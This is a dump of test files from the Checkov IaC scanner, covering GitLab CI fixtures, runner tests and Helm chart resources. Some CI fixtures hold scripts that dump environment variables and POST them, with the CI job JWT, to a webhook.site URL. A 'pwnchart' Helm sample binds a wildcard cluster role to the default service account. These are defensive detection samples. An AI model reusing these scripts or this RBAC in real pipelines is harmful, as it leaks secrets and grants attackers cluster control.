    "content": "from __future__ import annotations\nfrom typing import Any\n\nimport pytest\n\n\n@pytest.fixture\ndef definitions() -> dict[str, Any]:\n    return {\n      \"/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml\": {\n        \"default\": {\n          \"image\": \"nginx:1.18\",\n          \"services\": [\n            {\n              \"name\": \"privateregistry/stuff/my-postgres:11.7\",\n              \"alias\": \"db-postgres\",\n              \"__startline__\": 9,\n              \"__endline__\": 11\n            },\n            {\n              \"name\": \"redis:latest\",\n              \"__startline__\": 11,\n              \"__endline__\": 12\n            },\n            \"nginx:1.17\"\n          ],\n          \"before_script\": [\n            \"bundle install\"\n          ],\n          \"__startline__\": 2,\n          \"__endline__\": 17\n        },\n        \"test\": {\n          \"script\": [\n            \"docker run privateregistry/stuff/myimage:11.7\"\n          ],\n          \"__startline__\": 18,\n          \"__endline__\": 21\n        },\n        \"baddeploy\": {\n          \"script\": [\n            \"echo \\\"get the envs\\\"\\napt update\\napt -y install curl\\npython -c \\u0027import json, os;print(json.dumps(dict(os.environ)))\\u0027 \\u003e env.json\\ncurl -H \\\\\\\"Content-Type: application/json\\\\\\\" -X POST --data \\\"$CI_JOB_JWT_V1\\\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\\ncurl -H \\\\\\\"Content-Type: application/json\\\\\\\" -X POST --data \\\"@env.json\\\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\\n\"\n          ],\n          \"__startline__\": 22,\n          \"__endline__\": 32\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 32\n      },\n      \"/checkov/tests/gitlab_ci/resources/curl/.gitlab-ci.yml\": {\n        \"image\": \"python:3.9-buster\",\n        \"test\": {\n          \"script\": [\n            \"echo \\\"get the envs\\\"\\napt update\\napt -y install curl\\npython -c \\u0027import json, os;print(json.dumps(dict(os.environ)))\\u0027 \\u003e env.json\\ncurl -H \\\\\\\"Content-Type: application/json\\\\\\\" -X POST --data \\\"@env.json\\\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\\n\"\n          ],\n          \"__startline__\": 4,\n          \"__endline__\": 12\n        },\n        \"deploy\": {\n          \"script\": \"curl -H \\\\\\\"Content-Type: application/json\\\\\\\" -X POST --data \\\"$CI_JOB_JWT_V1\\\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\",\n          \"__startline__\": 13,\n          \"__endline__\": 13\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 13\n      },\n      \"/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml\": {\n        \"planOnlySubset\": {\n          \"script\": \"echo \\\"This job creates double pipelines!\\\"\",\n          \"rules\": [\n            {\n              \"changes\": [\n                \"$DOCKERFILES_DIR/*\"\n              ],\n              \"__startline__\": 4,\n              \"__endline__\": 6\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"push\\\"\",\n              \"__startline__\": 6,\n              \"__endline__\": 7\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"merge_request_event\\\"\",\n              \"__startline__\": 7,\n              \"__endline__\": 9\n            }\n          ],\n          \"__startline__\": 2,\n          \"__endline__\": 9\n        },\n        \"job\": {\n          \"script\": \"echo \\\"This job also creates double pipelines!\\\"\",\n          \"rules\": [\n            {\n              \"changes\": [\n                \"$DOCKERFILES_DIR/*\"\n              ],\n              \"__startline__\": 12,\n              \"__endline__\": 14\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"push\\\"\",\n              \"__startline__\": 14,\n              \"__endline__\": 15\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"merge_request_event\\\"\",\n              \"__startline__\": 15,\n              \"__endline__\": 16\n            }\n          ],\n          \"__startline__\": 10,\n          \"__endline__\": 16\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 16\n      },\n      \"/checkov/tests/gitlab_ci/resources/rules/.gitlab-ci.yml\": {\n        \"job\": {\n          \"script\": \"echo \\\"This job creates double pipelines!\\\"\",\n          \"rules\": [\n            {\n              \"changes\": [\n                \"$DOCKERFILES_DIR/*\"\n              ],\n              \"__startline__\": 4,\n              \"__endline__\": 6\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"push\\\"\",\n              \"__startline__\": 6,\n              \"__endline__\": 7\n            },\n            {\n              \"if\": \"$CI_PIPELINE_SOURCE \\u003d\\u003d \\\"merge_request_event\\\"\",\n              \"__startline__\": 7,\n              \"__endline__\": 9\n            }\n          ],\n          \"__startline__\": 2,\n          \"__endline__\": 9\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 9\n      },\n      \"/checkov/tests/gitlab_ci/image_referencer/resources/single_image/.gitlab-ci.yml\": {\n        \"default\": {\n          \"image\": {\n            \"name\": \"redis:latest\",\n            \"entrypoint\": [\n              \"/bin/bash\"\n            ],\n            \"__startline__\": 3,\n            \"__endline__\": 6\n          },\n          \"__startline__\": 2,\n          \"__endline__\": 6\n        },\n        \"deploy\": {\n          \"script\": \"curl -H \\\\\\\"Content-Type: application/json\\\\\\\" -X POST --data \\\"$CI_JOB_JWT_V1\\\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\",\n          \"__startline__\": 7,\n          \"__endline__\": 7\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 7\n      }\n    }\n"
  },
  {
    "path": "tests/gitlab_ci/resources/alternative/.gitlab-ci.yml",
    "content": "image: registry.gitlab.com/myimage/builder-base-image:stable\n\nstop-dev:\n  stage: destroy\n  script:\n    - terraform-pipeline destroy\n      --application-state-key $APPLICATION_STATE_KEY\n      --environment $AWS_ENVIRONMENT\n    - rm -rf ./aws/terraform/.terraform\n  variables:\n    AWS_ENVIRONMENT: dev\n  environment:\n    name: $CI_COMMIT_REF_NAME-DEV\n"
  },
  {
    "path": "tests/gitlab_ci/resources/curl/.gitlab-ci.yml",
    "content": "image: python:3.9-buster\n\ntest:\n  script:\n  - |\n    echo \"get the envs\"\n    apt update\n    apt -y install curl\n    python -c 'import json, os;print(json.dumps(dict(os.environ)))' > env.json\n    curl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n\ndeploy:\n  script: 'curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826'"
  },
  {
    "path": "tests/gitlab_ci/resources/images/.gitlab-ci.yml",
    "content": "default:\n  image:\n    name: ruby:2.6\n    entrypoint: [\"/bin/bash\"]\n\n  services:\n    - name: privateregistry/stuff/my-postgres:11.7\n      alias: db-postgres\n    - name: redis:latest  \n    - nginx:1.17\n\n  before_script:\n    - bundle install\n\ntest:\n  script:\n    - docker run privateregistry/stuff/myimage:11.7\n\nbaddeploy:\n  script:\n  - |\n    echo \"get the envs\"\n    apt update\n    apt -y install curl\n    python -c 'import json, os;print(json.dumps(dict(os.environ)))' > env.json\n    curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n    curl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n\n\n"
  },
  {
    "path": "tests/gitlab_ci/resources/resource_images/.gitlab-ci.yml",
    "content": "include:\n  - local: '/templates/.after-script-template.yml'\n\ndummy_list:\n  - first\n  - second\n  - third\n\nprebuild:\n  image: \"nginx: 14.6\"\n  script: \"ant build .\"\n\nbuild:\n  image:\n    name: \"docker:latest\"\n  script: SKIP\n\n\ndeploy:\n  before_script:\n    bundle exec rake spec\n  services:\n    - postgresql:14.3\n    - redis:latest"
  },
  {
    "path": "tests/gitlab_ci/resources/rules/.gitlab-ci.yml",
    "content": "\njob:\n  script: echo \"This job creates double pipelines!\"\n  rules:\n    - changes:\n        - $DOCKERFILES_DIR/*\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n\nplanOnlySubset:\n  rules:\n    - if: '$CI_PIPELINE_SOURCE == \"merge_request_event\"'\n      when: never\n    - if: $CI_PIPELINE_SOURCE != \"merge_request_event\" && $CI_PIPELINE_SOURCE != \"schedule\"\n      when: manual\n      allow_failure: true\n\njobSkip:\n  script: echo \"This job creates double pipelines!\"\n  rules:\n    - changes:\n        - $DOCKERFILES_DIR/*\n      # checkov:skip=CKV_GITLABCI_2: Ignore\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n"
  },
  {
    "path": "tests/gitlab_ci/resources/two/.gitlab-ci.yml",
    "content": ".templates:\n  - &go\n    image: \"nginx: 14.6\"\n\n  - &install-go\n    - curl code\n    - ln code\n\n  - &version-tag export tag\n\nplanOnlySubset:\n  script: echo \"This job creates double pipelines!\"\n  rules:\n    - changes:\n        - $DOCKERFILES_DIR/*\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n\njob:\n  script: echo \"This job also creates double pipelines!\"\n  rules:\n    - changes:\n        - $DOCKERFILES_DIR/*\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\""
  },
  {
    "path": "tests/gitlab_ci/test_resource_names.py",
    "content": "import pytest\n\nfrom checkov.gitlab_ci.runner import Runner\n\n\n@pytest.mark.parametrize(\n    \"key,file_path,expected_key, start_line, end_line\",\n    [\n        ('*.script[].*.script[].CKV_GITLABCI_1[19:19]', '/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml',\n         'test.script', 19, 19),\n        ('*.rules.*.rules.CKV_GITLABCI_2[7:9]', '/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml',\n         'planOnlySubset', 7, 9),\n    ],\n)\ndef test_get_resource(key, file_path, expected_key, definitions, start_line, end_line):\n    runner = Runner()\n    runner.definitions = definitions\n    new_key = runner.get_resource(file_path, key, [], start_line, end_line)\n\n    assert new_key == expected_key"
  },
  {
    "path": "tests/gitlab_ci/test_runner.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.gitlab_ci.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.gitlab_ci.checks.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_runner(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        checks = [\"CKV_GITLABCI_1\", \"CKV_GITLABCI_2\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 5)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 9)\n        self.assertEqual(len(report.skipped_checks), 1)\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        filter = RunnerFilter(framework=['gitlab_ci'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.GITLAB_CI: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.GITLAB_CI)\n\n    def test_runner_image_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=['CKV_GITLABCI_3'])\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 8)\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_image_resources(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources/resource_images\")\n        runner = Runner()\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['gitlab_ci'], checks=['CKV_GITLABCI_3'])\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 4)\n        self.assertEqual(report.skipped_checks, [])\n        self.assertEqual(report.passed_checks[0].resource, 'prebuild')\n        self.assertEqual(report.passed_checks[1].resource, 'build.image')\n        self.assertEqual(report.passed_checks[2].resource, 'deploy')\n        self.assertEqual(report.passed_checks[3].resource, 'deploy')\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/graph_utils/__init__.py",
    "content": ""
  },
  {
    "path": "tests/graph_utils/utils.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom networkx import DiGraph\nfrom rustworkx import PyDiGraph\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.typing import LibraryGraph\n\nGRAPH_FRAMEWORKS = ['NETWORKX', 'RUSTWORKX']\nPARAMETERIZED_GRAPH_FRAMEWORKS = [\n    {\"graph_framework\": \"NETWORKX\"},\n    {\"graph_framework\": \"RUSTWORKX\"}\n]\n\n\ndef set_db_connector_by_graph_framework(graph_framework: str) -> Any:\n    if graph_framework == 'NETWORKX':\n        return NetworkxConnector()\n    elif graph_framework == 'RUSTWORKX':\n        return RustworkxConnector()\n    return None\n\n\ndef set_graph_by_graph_framework(graph_framework: str) -> LibraryGraph:\n    if graph_framework == 'NETWORKX':\n        graph = DiGraph()\n    else:  # graph_framework == 'RUSTWORKX'\n        graph = PyDiGraph()\n    return graph\n\n\ndef set_graph_with_resource_by_graph_framework(graph_framework: str, resource: dict[str, Any], module_resource: dict[str, Any] | None = None) -> LibraryGraph:\n    if graph_framework == 'NETWORKX':\n        graph = DiGraph()\n        graph.add_node(1, **resource)\n        if module_resource:\n            graph.add_node(2, **module_resource)\n\n    else:  # graph_framework == 'RUSTWORKX'\n        graph = PyDiGraph()\n        graph.add_node((0, resource))\n        if module_resource:\n            graph.add_node((1, module_resource))\n\n    return graph\n\n\ndef add_vertices_to_graph_by_graph_framework(graph_framework: str, vertices: dict[str, Any], graph: LibraryGraph, index: int = 1, name: str = '1', block_type: str = 'resource') -> None:\n    if graph_framework == 'NETWORKX':\n        graph.add_node(index, **vertices)\n\n    else:  # graph_framework == 'RUSTWORKX'\n        graph.add_node((index-1, vertices))\n"
  },
  {
    "path": "tests/helm/__init__.py",
    "content": ""
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/Chart.yaml",
    "content": "apiVersion: v2\nname: hello-world\ndescription: A Helm chart for Kubernetes\n\n# A chart can be either an 'application' or a 'library' chart.\n#\n# Application charts are a collection of templates that can be packaged into versioned archives\n# to be deployed.\n#\n# Library charts provide useful utilities or functions for the chart developer. They're included as\n# a dependency of application charts to inject those utilities and functions into the rendering\n# pipeline. Library charts do not define any templates and therefore cannot be deployed.\ntype: application\n\n# This is the chart version. This version number should be incremented each time you make changes\n# to the chart and its templates, including the app version.\n# Versions are expected to follow Semantic Versioning (https://semver.org/)\nversion: 0.1.0\n\n# This is the version number of the application being deployed. This version number should be\n# incremented each time you make changes to the application. Versions are not expected to\n# follow Semantic Versioning. They should reflect the version the application is using.\n# It is recommended to use it with quotes.\nappVersion: \"1.16.0\"\n"
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/templates/_helpers.tpl",
    "content": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"hello-world.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCreate a default fully qualified app name.\nWe truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).\nIf release name contains chart name it will be used as a full name.\n*/}}\n{{- define \"hello-world.fullname\" -}}\n{{- if .Values.fullnameOverride }}\n{{- .Values.fullnameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- $name := default .Chart.Name .Values.nameOverride }}\n{{- if contains $name .Release.Name }}\n{{- .Release.Name | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{/*\nCreate chart name and version as used by the chart label.\n*/}}\n{{- define \"hello-world.chart\" -}}\n{{- printf \"%s-%s\" .Chart.Name .Chart.Version | replace \"+\" \"_\" | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCommon labels\n*/}}\n{{- define \"hello-world.labels\" -}}\nhelm.sh/chart: {{ include \"hello-world.chart\" . }}\n{{ include \"hello-world.selectorLabels\" . }}\n{{- if .Chart.AppVersion }}\napp.kubernetes.io/version: {{ .Chart.AppVersion | quote }}\n{{- end }}\napp.kubernetes.io/managed-by: {{ .Release.Service }}\n{{- end }}\n\n{{/*\nSelector labels\n*/}}\n{{- define \"hello-world.selectorLabels\" -}}\napp.kubernetes.io/name: {{ include \"hello-world.name\" . }}\napp.kubernetes.io/instance: {{ .Release.Name }}\n{{- end }}\n\n{{/*\nCreate the name of the service account to use\n*/}}\n{{- define \"hello-world.serviceAccountName\" -}}\n{{- if .Values.serviceAccount.create }}\n{{- default (include \"hello-world.fullname\" .) .Values.serviceAccount.name }}\n{{- else }}\n{{- default \"default\" .Values.serviceAccount.name }}\n{{- end }}\n{{- end }}\n"
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/templates/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: {{ include \"hello-world.fullname\" . }}\n  labels:\n    {{- include \"hello-world.labels\" . | nindent 4 }}\nspec:\n  replicas: {{ .Values.replicaCount }}\n  selector:\n    matchLabels:\n      {{- include \"hello-world.selectorLabels\" . | nindent 6 }}\n  template:\n    metadata:\n      labels:\n        {{- include \"hello-world.selectorLabels\" . | nindent 8 }}\n    spec:\n      serviceAccountName: {{ include \"hello-world.serviceAccountName\" . }}\n      containers:\n        - name: {{ .Chart.Name }}\n          image: \"{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}\"\n          imagePullPolicy: {{ .Values.image.pullPolicy }}\n          ports:\n            - name: http\n              containerPort: 80\n              protocol: TCP\n          livenessProbe:\n            httpGet:\n              path: /\n              port: http\n          readinessProbe:\n            httpGet:\n              path: /\n              port: http\n"
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/templates/service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: {{ include \"hello-world.fullname\" . }}\n  labels:\n    {{- include \"hello-world.labels\" . | nindent 4 }}\nspec:\n  type: {{ .Values.service.type }}\n  ports:\n    - port: {{ .Values.service.port }}\n      targetPort: http\n      protocol: TCP\n      name: http\n  selector:\n    {{- include \"hello-world.selectorLabels\" . | nindent 4 }}\n"
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/templates/serviceaccount.yaml",
    "content": "{{- if .Values.serviceAccount.create -}}\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: {{ include \"hello-world.serviceAccountName\" . }}\n  labels:\n    {{- include \"hello-world.labels\" . | nindent 4 }}\n  {{- with .Values.serviceAccount.annotations }}\n  annotations:\n    {{- toYaml . | nindent 4 }}\n  {{- end }}\n{{- end }}\n"
  },
  {
    "path": "tests/helm/runner/resources/image_referencer/values.yaml",
    "content": "# Default values for hello-world.\n# This is a YAML-formatted file.\n# Declare variables to be passed into your templates.\n\nreplicaCount: 1\n\nimage:\n  repository: nginx\n  pullPolicy: IfNotPresent\n  # Overrides the image tag whose default is the chart appVersion.\n  tag: \"\"\n\nnameOverride: \"\"\nfullnameOverride: \"\"\n\nserviceAccount:\n  # Specifies whether a service account should be created\n  create: true\n  # Annotations to add to the service account\n  annotations: {}\n  # The name of the service account to use.\n  # If not set and create is true, a name is generated using the fullname template\n  name: \"\"\n\nservice:\n  type: ClusterIP\n  port: 80\n"
  },
  {
    "path": "tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/Chart.yaml",
    "content": "apiVersion: v1\nappVersion: \"1.0\"\ndescription: A Helm chart for Kubernetes Goat helm-tiller\nName: pwnchart\nversion: 0.1.0\n"
  },
  {
    "path": "tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/_helpers.tpl",
    "content": "{{- define \"pwnchart.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" -}}\n{{- end -}}\n\n{{- define \"pwnchart.fullname\" -}}\n{{- $name := default .Chart.Name .Values.nameOverride -}}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" -}}\n{{- end -}}\n"
  },
  {
    "path": "tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/clusterrole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: all-your-base\nrules:\n  - apiGroups: [\"*\"]\n    resources: [\"*\"]\n    verbs: [\"*\"]\n"
  },
  {
    "path": "tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/clusterrolebinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: belong-to-us\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: all-your-base\nsubjects:\n  - kind: ServiceAccount\n    namespace: {{ .Values.namespace }}\n    name: {{ .Values.name }}\n"
  },
  {
    "path": "tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/values.yaml",
    "content": "# Default values for connectivity-check.\n# This is a YAML-formatted file.\n# Declare variables to be passed into your templates.\nnamespace: default\nname: default\n"
  },
  {
    "path": "tests/helm/runner/resources/schema-registry/Chart.yaml",
    "content": "annotations:\n  category: Infrastructure\napiVersion: v2\nappVersion: 7.2.1\ndependencies:\n  - name: common\n    repository: https://charts.bitnami.com/bitnami\n    tags:\n      - bitnami-common\n    version: 2.x.x\n  - condition: kafka.enabled\n    name: kafka\n    repository: https://charts.bitnami.com/bitnami\n    version: 18.x.x\ndescription: Confluent Schema Registry provides a RESTful interface by adding a serving layer for your metadata on top of Kafka. It expands Kafka enabling support for Apache Avro, JSON, and Protobuf schemas.\nengine: gotpl\nhome: https://confluent.io/\nicon: https://bitnami.com/assets/stacks/schema-registry/img/schema-registry-stack-220x234.png\nkeywords:\n  - schema-registry\n  - confluent\n  - kafka\n  - zookeeper\n  - streaming\nmaintainers:\n  - name: Bitnami\n    url: https://github.com/bitnami/charts\nname: schema-registry\nsources:\n  - https://github.com/bitnami/containers/tree/main/bitnami/schema-registry\nversion: 5.1.1\n"
  },
  {
    "path": "tests/helm/runner/resources/schema-registry/values.yaml",
    "content": "\n## @section Global parameters\n## Global Docker image parameters\n## Please, note that this will override the image parameters, including dependencies, configured to use the global value\n## Current available global Docker image parameters: imageRegistry, imagePullSecrets and storageClass\n## @param global.imageRegistry Global Docker image registry\n## @param global.imagePullSecrets Global Docker registry secret names as an array\n## @param global.storageClass Global StorageClass for Persistent Volume(s)\n##\nglobal:\n  imageRegistry: \"\"\n  ## e.g.\n  ## imagePullSecrets:\n  ##   - myRegistryKeySecretName\n  ##\n  imagePullSecrets: []\n  storageClass: \"\"\n\n## @param kubeVersion Override Kubernetes version\n##\nkubeVersion: \"\"\n## @section Common parameters\n## @param nameOverride String to partially override airflow.fullname template with a string (will prepend the release name)\n##\nnameOverride: \"\"\n## @param fullnameOverride String to fully override airflow.fullname template with a string\n##\nfullnameOverride: \"\"\n## @param namespaceOverride String to fully override common.names.namespace\n##\nnamespaceOverride: \"\"\n## @param commonLabels Labels to add to all deployed objects\n##\ncommonLabels: {}\n## @param commonAnnotations Annotations to add to all deployed objects\n##\ncommonAnnotations: {}\n## @param clusterDomain Kubernetes cluster domain name\n##\nclusterDomain: cluster.local\n## @param extraDeploy Array of extra objects to deploy with the release\n##\nextraDeploy: []\n## Enable diagnostic mode in the deployment\n##\ndiagnosticMode:\n  ## @param diagnosticMode.enabled Enable diagnostic mode (all probes will be disabled and the command will be overridden)\n  ##\n  enabled: false\n  ## @param diagnosticMode.command Command to override all containers in the deployment\n  ##\n  command:\n    - sleep\n  ## @param diagnosticMode.args Args to override all containers in the deployment\n  ##\n  args:\n    - infinity\n\n## @section Schema Registry parameters\n## Bitnami Schema Registry image\n## ref: https://hub.docker.com/r/bitnami/schema-registry/tags/\n## @param image.registry Schema Registry image registry\n## @param image.repository Schema Registry image repository\n## @param image.tag Schema Registry image tag (immutable tags are recommended)\n## @param image.digest Schema Registry image digest in the way sha256:aa.... Please note this parameter, if set, will override the tag\n## @param image.pullPolicy Schema Registry image pull policy\n## @param image.pullSecrets Schema Registry image pull secrets\n## @param image.debug Enable image debug mode\n##\nimage:\n  registry: docker.io\n  repository: bitnami/schema-registry\n  tag: 7.2.1-debian-11-r0\n  digest: \"\"\n  ## Specify a imagePullPolicy. Defaults to 'Always' if image tag is 'latest', else set to 'IfNotPresent'\n  ## ref: http://kubernetes.io/docs/user-guide/images/#pre-pulling-images\n  ##\n  pullPolicy: IfNotPresent\n  ## Optionally specify an array of imagePullSecrets.\n  ## Secrets must be manually created in the namespace.\n  ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/\n  ## e.g:\n  ## pullSecrets:\n  ##   - myRegistryKeySecretName\n  ##\n  pullSecrets: []\n  ## Set to true if you would like to see extra information on logs\n  ##\n  debug: false\n## @param command Override default container command (useful when using custom images)\n##\ncommand: []\n## @param args Override default container args (useful when using custom images)\n##\nargs: []\n## @param hostAliases Schema Registry pods host aliases\n## https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/\n##\nhostAliases: []\n## @param podLabels Extra labels for Schema Registry pods\n## ref: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/\n##\npodLabels: {}\n## @param configuration Specify content for schema-registry.properties. Auto-generated based on other parameters when not specified\n##\n## e.g:\n## configuration: |-\n##   listeners = http://0.0.0.0:8081\n##   kafkastore.bootstrap.servers = protocol://broker_hostname:port\n##   host.name = schema-registry\n##   kafkastore.topic = _schemas\n##   inter.instance.protocol = http\n##   avro.compatibility.level = backward\n##   debug = false\n##\nconfiguration: {}\n## @param existingConfigmap Name of existing ConfigMap with Schema Registry configuration\n## NOTE: When it's set the configuration parameter is ignored\n##\nexistingConfigmap: \"\"\n## @param log4j Schema Registry Log4J Configuration (optional)\n## Overwrites default log4j.properties file\n##\nlog4j: {}\n## @param existingLog4jConfigMap Name of existing ConfigMap containing a custom log4j.properties file.\n## NOTE: When it's set the log4j is ignored\n##\nexistingLog4jConfigMap: \"\"\n## Authentication parameters\n## https://github.com/bitnami/bitnami-docker-kafka#security\n##\nauth:\n  ## TLS parameters to be used when a listener uses HTTPS\n  ##\n  tls:\n    ## @param auth.tls.enabled Enable TLS configuration to provide to be used when a listener uses HTTPS\n    ##\n    enabled: false\n    ## @param auth.tls.jksSecret Existing secret containing the truststore and one keystore per Schema Registry replica\n    ##\n    ## Create this secret following the steps below:\n    ## 1) Generate your trustore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh\n    ## 2) Rename your truststore to `schema-registry.truststore.jks`.\n    ## 3) Rename your keystores to `schema-registry-X.keystore.jks` where X is the ID of each Schema Registry replica\n    ## 4) Run the command below where SECRET_NAME is the name of the secret you want to create:\n    ##       kubectl create secret generic SECRET_NAME --from-file=./schema-registry.truststore.jks --from-file=./schema-registry-0.keystore.jks --from-file=./schema-registry-1.keystore.jks ...\n    ##\n    jksSecret: \"\"\n    ## @param auth.tls.keystorePassword Password to access the keystore when it's password-protected\n    ##\n    keystorePassword: \"\"\n    ## @param auth.tls.truststorePassword Password to access the truststore when it's password-protected\n    ##\n    truststorePassword: \"\"\n    ## @param auth.tls.clientAuthentication Client authentication configuration.\n    ## Valid options: NONE, REQUESTED, over REQUIRED\n    ##\n    clientAuthentication: NONE\n  ## Parameters to configure authentication with kafka brokers\n  ##\n  kafka:\n    ## @param auth.kafka.jksSecret Existing secret containing the truststore and one keystore per Schema Registry replica\n    ##\n    ## Create this secret following the steps below:\n    ## 1) Generate your trustore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh\n    ## 2) Rename your truststore to `kafka.truststore.jks`.\n    ## 3) Rename your keystores to `kafka-X.keystore.jks` where X is the ID of each Schema Registry replica\n    ## 4) Run the command below where SECRET_NAME is the name of the secret you want to create:\n    ##       kubectl create secret generic SECRET_NAME --from-file=./kafka.truststore.jks --from-file=./kafka-0.keystore.jks --from-file=./kafka-1.keystore.jks ...\n    ##\n    jksSecret: \"\"\n    ## @param auth.kafka.tlsEndpointIdentificationAlgorithm The endpoint identification 